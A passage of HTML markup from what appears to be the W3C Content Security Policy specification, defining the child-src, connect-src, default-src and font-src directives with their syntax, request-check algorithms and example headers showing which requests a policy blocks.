href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination②\">destination</a> is either \"<code>serviceworker</code>\",\n \"<code>sharedworker</code>\", or \"<code>worker</code>\" (which are fed to the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/workers.html#run-a-worker\" id=\"ref-for-run-a-worker①\">run a worker</a> algorithm for <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://w3c.github.io/ServiceWorker/#serviceworker\" id=\"ref-for-serviceworker\">ServiceWorker</a></code>, <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/workers.html#sharedworker\" id=\"ref-for-sharedworker\">SharedWorker</a></code>, and <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/workers.html#worker\" id=\"ref-for-worker①\">Worker</a></code>,\n respectively).</p>\n    </ul>\n    <div class=\"example\" id=\"example-8a4405cf\">\n     <a class=\"self-link\" href=\"#example-8a4405cf\"></a> Given a page with the following Content Security Policy: \n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#child-src\" id=\"ref-for-child-src①\">child-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will all return network errors, as the URLs\n    provided do not match <code>child-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists\">source list</a>:</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;iframe</span> <span class=\"na\">src=</span><span class=\"s\">\"https://example.org\"</span><span class=\"nt\">>&lt;/iframe></span>\n<span class=\"nt\">&lt;script></span>\n  <span class=\"kd\">var</span> blockedWorker <span class=\"o\">=</span> <span class=\"k\">new</span> Worker<span class=\"p\">(</span><span class=\"s2\">\"data:application/javascript,...\"</span><span class=\"p\">);</span>\n<span class=\"nt\">&lt;/script></span>\n</pre>\n    </div>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"child-src Pre-request check\" data-level=\"6.1.1.1\" id=\"child-src-pre-request\"><span class=\"secno\">6.1.1.1. </span><span class=\"content\"> <code>child-src</code> Pre-request check </span><a class=\"self-link\" href=\"#child-src-pre-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check①\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request①⑧\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object②⑦\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>name</var> be the result of executing <a href=\"#effective-directive-for-a-request\">§6.6.1.11 Get the effective directive for request</a> on <var>request</var>.</p>\n     <li data-md=\"\">\n      <p>If <var>name</var> is not <code>frame-src</code>, return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>policy</var> contains a directive whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name⑧\">name</a> is <var>name</var>, return \"<code>Allowed</code>\"</p>\n     <li data-md=\"\">\n      <p>Return the result of executing the <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check②\">pre-request\n  check</a> for the <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives①⑤\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name⑨\">name</a> is <var>name</var> on <var>request</var> and <var>policy</var>, using this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value⑨\">value</a> for the comparison.</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"child-src Post-request check\" data-level=\"6.1.1.2\" id=\"child-src-post-request\"><span class=\"secno\">6.1.1.2. </span><span class=\"content\"> <code>child-src</code> Post-request check </span><a class=\"self-link\" href=\"#child-src-post-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check②\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request①⑨\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response①⑦\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object②⑧\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>name</var> be the result of executing <a href=\"#effective-directive-for-a-request\">§6.6.1.11 Get the effective directive for request</a> on <var>request</var>.</p>\n     <li data-md=\"\">\n      <p>If <var>name</var> is not <code>frame-src</code>, return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>policy</var> contains a directive whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name①⓪\">name</a> is <var>name</var>, return \"<code>Allowed</code>\"</p>\n     <li data-md=\"\">\n      <p>Return the result of executing the <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check③\">post-request\n  check</a> for the <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives①⑥\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name①①\">name</a> is <var>name</var> on <var>request</var>, <var>response</var>, and <var>policy</var>, using this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value①⓪\">value</a> for the comparison.</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.2\" id=\"directive-connect-src\"><span class=\"secno\">6.1.2. </span><span class=\"content\"><code>connect-src</code></span><a class=\"self-link\" href=\"#directive-connect-src\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"connect-src\">connect-src</dfn> directive restricts the URLs which can be loaded\n  using script interfaces. The syntax for the directive’s name and value is\n  described by the following ABNF:</p>\n<pre>directive-name  = \"connect-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\" id=\"ref-for-grammardef-serialized-source-list①\">serialized-source-list</a>\n</pre>\n    <p>This directive controls <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request②⓪\">requests</a> which transmit or receive data from\n  other origins. This includes APIs like <code>fetch()</code>, <a data-link-type=\"biblio\" href=\"#biblio-xhr\">[XHR]</a>, <a data-link-type=\"biblio\" href=\"#biblio-eventsource\">[EVENTSOURCE]</a>, <a data-link-type=\"biblio\" href=\"#biblio-beacon\">[BEACON]</a>, and <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/text-level-semantics.html#the-a-element\" id=\"ref-for-the-a-element\">a</a></code>'s <code><a data-link-type=\"element-sub\" href=\"https://html.spec.whatwg.org/multipage/text-level-semantics.html#dom-a-ping\" id=\"ref-for-dom-a-ping\">ping</a></code>. This directive <em>also</em> controls\n  WebSocket <a data-link-type=\"biblio\" href=\"#biblio-websockets\">[WEBSOCKETS]</a> connections, though those aren’t technically part\n  of Fetch.</p>\n    <div class=\"example\" id=\"example-ea16035e\">\n     <a class=\"self-link\" href=\"#example-ea16035e\"></a> JavaScript offers a few mechanisms that directly connect to an external\n    server to send or receive information. <code>EventSource</code> maintains an open\n    HTTP connection to a server in order to receive push notifications, <code>WebSockets</code> open a bidirectional communication channel between your\n    browser and a server, and <code>XMLHttpRequest</code> makes arbitrary HTTP requests\n    on your behalf. These are powerful APIs that enable useful functionality,\n    but also provide tempting avenues for data exfiltration. \n     <p>The <code>connect-src</code> directive allows you to ensure that these and similar\n    sorts of connections are only opened to origins you trust. Sending a\n    policy that defines a list of source expressions for this directive is\n    straightforward. For example, to limit connections to only <code>https://example.com</code>, send the following header:</p>\n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#connect-src\" id=\"ref-for-connect-src\">connect-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will all return network errors, as the URLs\n    provided do not match <code>connect-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists①\">source list</a>:</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;a</span> <span class=\"na\">ping=</span><span class=\"s\">\"https://example.org\"</span><span class=\"nt\">></span>...\n<span class=\"nt\">&lt;script></span>\n  <span class=\"kd\">var</span> xhr <span class=\"o\">=</span> <span class=\"k\">new</span> XMLHttpRequest<span class=\"p\">();</span>\n  xhr<span class=\"p\">.</span>open<span class=\"p\">(</span><span class=\"s1\">'GET'</span><span class=\"p\">,</span> <span class=\"s1\">'https://example.org/'</span><span class=\"p\">);</span>\n  xhr<span class=\"p\">.</span>send<span class=\"p\">();</span>\n\n  <span class=\"kd\">var</span> ws <span class=\"o\">=</span> <span class=\"k\">new</span> WebSocket<span class=\"p\">(</span><span class=\"s2\">\"https://example.org/\"</span><span class=\"p\">);</span>\n\n  <span class=\"kd\">var</span> es <span class=\"o\">=</span> <span class=\"k\">new</span> EventSource<span class=\"p\">(</span><span class=\"s2\">\"https://example.org/\"</span><span class=\"p\">);</span>\n\n  navigator<span class=\"p\">.</span>sendBeacon<span class=\"p\">(</span><span class=\"s2\">\"https://example.org/\"</span><span class=\"p\">,</span> <span class=\"p\">{</span> <span class=\"p\">...</span> <span class=\"p\">});</span>\n<span class=\"nt\">&lt;/script></span>\n</pre>\n    </div>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"connect-src Pre-request check\" data-level=\"6.1.2.1\" id=\"connect-src-pre-request\"><span class=\"secno\">6.1.2.1. </span><span class=\"content\"> <code>connect-src</code> Pre-request check </span><a class=\"self-link\" href=\"#connect-src-pre-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check③\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request②①\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object②⑨\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-initiator\" id=\"ref-for-concept-request-initiator①\">initiator</a> is \"<code>fetch</code>\" or its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination③\">destination</a> is \"\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-request-to-source-list\">§6.6.1.3 Does request match source list?</a> on <var>request</var> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value①①\">value</a> is\n  \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"connect-src Post-request check\" data-level=\"6.1.2.2\" id=\"connect-src-post-request\"><span class=\"secno\">6.1.2.2. </span><span class=\"content\"> <code>connect-src</code> Post-request check </span><a class=\"self-link\" href=\"#connect-src-post-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check④\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request②②\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response①⑧\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object③⓪\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-initiator\" id=\"ref-for-concept-request-initiator②\">initiator</a> is \"<code>fetch</code>\" or its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination④\">destination</a> is \"\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-response-to-source-list\">§6.6.1.4 Does response to request match source list?</a> on <var>response</var>, <var>request</var>, and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value①②\">value</a> is \"<code>Does Not Match</code>\", return\n  \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.3\" id=\"directive-default-src\"><span class=\"secno\">6.1.3. </span><span class=\"content\"><code>default-src</code></span><a class=\"self-link\" href=\"#directive-default-src\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"default-src\">default-src</dfn> directive serves as a fallback for the other <a data-link-type=\"dfn\" href=\"#fetch-directives\" id=\"ref-for-fetch-directives\">fetch directives</a>. The syntax for the directive’s name and value is described by\n  the following ABNF:</p>\n<pre>directive-name  = \"default-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\" id=\"ref-for-grammardef-serialized-source-list②\">serialized-source-list</a>\n</pre>\n    <p>If a <a data-link-type=\"dfn\" href=\"#default-src\" id=\"ref-for-default-src①\">default-src</a> directive is present in a policy, its value will be\n  used as the policy’s default source list. That is, given <code>default-src 'none'; script-src 'self'</code>, script requests will use <code>'self'</code> as the <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists②\">source\n  list</a> to match against. Other requests will use <code>'none'</code>. This is spelled\n  out in more detail in the <a href=\"#should-block-request\">§4.1.3 Should request be blocked by Content Security Policy?</a> and <a href=\"#should-block-response\">§4.1.4 Should response to request be blocked by Content\n    Security Policy?</a> algorithms.</p>\n    <div class=\"example\" id=\"example-ff4cda9d\">\n     <a class=\"self-link\" href=\"#example-ff4cda9d\"></a> The following header: \n<pre><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/CSP3/#header-content-security-policy\" id=\"ref-for-header-content-security-policy①\">Content-Security-Policy</a>: <a data-link-type=\"dfn\" href=\"#default-src\" id=\"ref-for-default-src②\">default-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self①\">'self'</a>\n</pre>\n     <p>will have the same behavior as the following header:</p>\n<pre><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/CSP3/#header-content-security-policy\" id=\"ref-for-header-content-security-policy②\">Content-Security-Policy</a>: <a data-link-type=\"dfn\" href=\"#connect-src\" id=\"ref-for-connect-src①\">connect-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self②\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#font-src\" id=\"ref-for-font-src①\">font-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self③\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#frame-src\" id=\"ref-for-frame-src①\">frame-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self④\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#img-src\" id=\"ref-for-img-src\">img-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self⑤\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#manifest-src\" id=\"ref-for-manifest-src\">manifest-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self⑥\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#media-src\" id=\"ref-for-media-src\">media-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self⑦\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#object-src\" id=\"ref-for-object-src①\">object-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self⑧\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#script-src\" id=\"ref-for-script-src②\">script-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self⑨\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#style-src\" id=\"ref-for-style-src\">style-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self①⓪\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#worker-src\" id=\"ref-for-worker-src①\">worker-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self①①\">'self'</a>\n</pre>\n     <p>That is, when <code>default-src</code> is set, every <a data-link-type=\"dfn\" href=\"#fetch-directives\" id=\"ref-for-fetch-directives①\">fetch directive</a> that isn’t\n    explicitly set will fall back to the value <code>default-src</code> specifies.</p>\n    </div>\n    <div class=\"example\" id=\"example-e1c8ddf3\">\n     <a class=\"self-link\" href=\"#example-e1c8ddf3\"></a> There is no inheritance. If a <code>script-src</code> directive is explicitly\n    specified, for example, then the value of <code>default-src</code> has no influence on\n    script requests. That is, the following header: \n<pre><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/CSP3/#header-content-security-policy\" id=\"ref-for-header-content-security-policy③\">Content-Security-Policy</a>: <a data-link-type=\"dfn\" href=\"#default-src\" id=\"ref-for-default-src③\">default-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self①②\">'self'</a>; <a data-link-type=\"dfn\" href=\"#script-src\" id=\"ref-for-script-src③\">script-src</a> https://example.com\n</pre>\n     <p>will have the same behavior as the following header:</p>\n<pre><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/CSP3/#header-content-security-policy\" id=\"ref-for-header-content-security-policy④\">Content-Security-Policy</a>: <a data-link-type=\"dfn\" href=\"#connect-src\" id=\"ref-for-connect-src②\">connect-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self①③\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#font-src\" id=\"ref-for-font-src②\">font-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self①④\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#frame-src\" id=\"ref-for-frame-src②\">frame-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self①⑤\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#img-src\" id=\"ref-for-img-src①\">img-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self①⑥\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#manifest-src\" id=\"ref-for-manifest-src①\">manifest-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self①⑦\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#media-src\" id=\"ref-for-media-src①\">media-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self①⑧\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#object-src\" id=\"ref-for-object-src②\">object-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self①⑨\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#script-src\" id=\"ref-for-script-src④\">script-src</a> https://example.com;\n                         <a data-link-type=\"dfn\" href=\"#style-src\" id=\"ref-for-style-src①\">style-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self②⓪\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#worker-src\" id=\"ref-for-worker-src②\">worker-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self②①\">'self'</a>\n</pre>\n     <p>Given this behavior, one good way to build a policy for a site would be to\n    begin with a <code>default-src</code> of <code>'none'</code>, and to build up a policy from there\n    which allowed only those resource types which are necessary for the\n    particular page the policy will apply to.</p>\n    </div>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"default-src Pre-request check\" data-level=\"6.1.3.1\" id=\"default-src-pre-request\"><span class=\"secno\">6.1.3.1. </span><span class=\"content\"> <code>default-src</code> Pre-request check </span><a class=\"self-link\" href=\"#default-src-pre-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check④\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request②③\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object③①\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>name</var> be the result of executing <a href=\"#effective-directive-for-a-request\">§6.6.1.11 Get the effective directive for request</a> on <var>request</var>.</p>\n     <li data-md=\"\">\n      <p>If <var>name</var> is <code>null</code>, return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>policy</var> contains a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives①⑦\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name①②\">name</a> is <var>name</var>, return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>name</var> is \"<code>frame-src</code>\", and <var>policy</var> contains a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives①⑧\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name①③\">name</a> is \"<code>child-src</code>\", return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>name</var> is \"<code>worker-src</code>\", and <var>policy</var> contains a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives①⑨\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name①④\">name</a> is \"<code>script-src</code>\", return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>Otherwise, return the result of executing the <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check⑤\">pre-request check</a> for the <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives②⓪\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name①⑤\">name</a> is <var>name</var> on <var>request</var> and <var>policy</var>, using\n  this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value①③\">value</a> for the comparison.</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"default-src Post-request check\" data-level=\"6.1.3.2\" id=\"default-src-post-request\"><span class=\"secno\">6.1.3.2. </span><span class=\"content\"> <code>default-src</code> Post-request check </span><a class=\"self-link\" href=\"#default-src-post-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check⑤\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request②④\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response①⑨\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object③②\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>name</var> be the result of executing <a href=\"#effective-directive-for-a-request\">§6.6.1.11 Get the effective directive for request</a> on <var>request</var>.</p>\n     <li data-md=\"\">\n      <p>If <var>name</var> is <code>null</code>, return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>policy</var> contains a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives②①\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name①⑥\">name</a> is <var>name</var>, return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>name</var> is \"<code>frame-src</code>\", and <var>policy</var> contains a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives②②\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name①⑦\">name</a> is \"<code>child-src</code>\", return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>name</var> is \"<code>worker-src</code>\", and <var>policy</var> contains a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives②③\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name①⑧\">name</a> is \"<code>script-src</code>\", return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>Otherwise, return the result of executing the <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check⑥\">post-request check</a> for the <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives②④\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name①⑨\">name</a> is <var>name</var> on <var>request</var>, <var>response</var>, and <var>policy</var>, using this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value①④\">value</a> for the\n  comparison.</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.4\" id=\"directive-font-src\"><span class=\"secno\">6.1.4. </span><span class=\"content\"><code>font-src</code></span><a class=\"self-link\" href=\"#directive-font-src\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"font-src\">font-src</dfn> directive restricts the URLs from which font resources\n  may be loaded. The syntax for the directive’s name and value is described by\n  the following ABNF:</p>\n<pre>directive-name  = \"font-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\" id=\"ref-for-grammardef-serialized-source-list③\">serialized-source-list</a>\n</pre>\n    <div class=\"example\" id=\"example-9055d098\">\n     <a class=\"self-link\" href=\"#example-9055d098\"></a> Given a page with the following Content Security Policy: \n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#font-src\" id=\"ref-for-font-src③\">font-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will return a network errors, as the URL\n    provided do not match <code>font-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists③\">source list</a>:</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;style></span>\n  <span class=\"k\">@font-face</span> <span class=\"p\">{</span>\n    <span class=\"nt\">font-family</span><span class=\"o\">:</span> <span class=\"s2\">\"Example Font\"</span><span class=\"o\">;</span>\n    <span class=\"nt\">src</span><span class=\"o\">:</span> <span class=\"nt\">url</span><span class=\"o\">(</span><span class=\"s2\">\"https://example.org/font\"</span><span class=\"o\">);</span>\n  <span class=\"p\">}</span>\n  <span class=\"nt\">body</span> <span class=\"p\">{</span>\n    <span class=\"k\">font-family</span><span class=\"o\">:</span> <span class=\"s2\">\"Example Font\"</span><span class=\"p\">;</span>\n  <span class=\"p\">}</span>\n<span class=\"nt\">&lt;/style></span>\n</pre>\n    </div>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"font-src Pre-request check\" data-level=\"6.1.4.1\" id=\"font-src-pre-request\"><span class=\"secno\">6.1.4.1. </span><span class=\"content\"> <code>font-src</code> Pre-request check </span><a class=\"self-link\" href=\"#font-src-pre-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check⑥\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request②⑤\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object③③\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination⑤\">destination</a> is \"<code>font</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-request-to-source-list\">§6.6.1.3 Does request match source list?</a> on <var>request</var> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value①⑤\">value</a> is\n  \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"font-src Post-request check\" data-level=\"6.1.4.2\" id=\"font-src-post-request\"><span class=\"secno\">6.1.4.2. </span><span class=\"content\"> 